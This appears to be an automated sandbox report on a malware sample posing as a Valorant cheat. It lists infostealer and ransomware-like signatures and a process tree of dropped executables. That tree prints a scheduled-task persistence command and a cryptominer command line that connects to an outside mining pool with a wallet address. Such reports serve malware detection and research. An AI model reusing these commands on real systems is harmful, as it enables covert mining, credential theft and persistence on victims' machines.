Analysis
- max time kernel
150s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20220414-en - submitted
03/07/2022, 13:55
General
- Target Valorant HackYepp.exe
- Size 5.4MB
- Sample220703-q74hdsfebn
- SHA256 b924bd60cc419ee92e7c55cb20eb5fe43e2a9c440b5d6ed8b78446bbd180795c
Malware Config
Signatures
- Downloads MZ/PE file
- Executes dropped EXE 4 IoCs
- Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Valorant HackYepp.exe"C:\Users\Admin\AppData\Local\Temp\Valorant HackYepp.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe url.dll,FileProtocolHandler C:\Users\Admin\AppData\Local\Temp\rat.exe2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\rat.exe"C:\Users\Admin\AppData\Local\Temp\rat.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\DNMMQNNNPxACWOZPXDdd.exe"C:\Users\Admin\AppData\Roaming\DNMMQNNNPxACWOZPXDdd.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7C49.tmp.bat""5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 36⤵
- Delays execution with timeout.exe
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C:\ProgramData\vhjvjhjbgjg\UGBOMITO.exe"C:\ProgramData\vhjvjhjbgjg\UGBOMITO.exe"6⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /rl highest /tn "UGBOMITO" /tr '"C:\ProgramData\vhjvjhjbgjg\UGBOMITO.exe"' & exit7⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /rl highest /tn "UGBOMITO" /tr '"C:\ProgramData\vhjvjhjbgjg\UGBOMITO.exe"'8⤵
- Creates scheduled task(s)
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C:\ProgramData\vhjvjhjbgjg\ton.exe"C:\ProgramData\vhjvjhjbgjg\ton.exe" --pool stratum://0x7D4E5e3BB49a141963aA75Fc298430dB16d730A3:[email protected]:4444 --cinit-max-gpu=50 --cinit-kill-targets=sysadminloh.exe --cinit-idle-wait=1 --cinit-idle-gpu=507⤵
- Executes dropped EXE
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
UGBOMITO.exe
UGBOMITO.exe
ton.exe
ton.exe
rat.exe
rat.exe
tmp7C49.tmp.bat
DNMMQNNNPxACWOZPXDdd.exe
DNMMQNNNPxACWOZPXDdd.exe
memory/1096-148-0x00007FFCAFFA0000-0x00007FFCB0A61000-memory.dmp
memory/1096-154-0x00007FFCAFFA0000-0x00007FFCB0A61000-memory.dmp
memory/1364-138-0x0000000000980000-0x0000000000A46000-memory.dmp
memory/1364-144-0x00007FFCAFFA0000-0x00007FFCB0A61000-memory.dmp
memory/1364-140-0x00007FFCAFFA0000-0x00007FFCB0A61000-memory.dmp
memory/4540-139-0x00007FFCAFFA0000-0x00007FFCB0A61000-memory.dmp
memory/4540-134-0x0000000000490000-0x000000000059A000-memory.dmp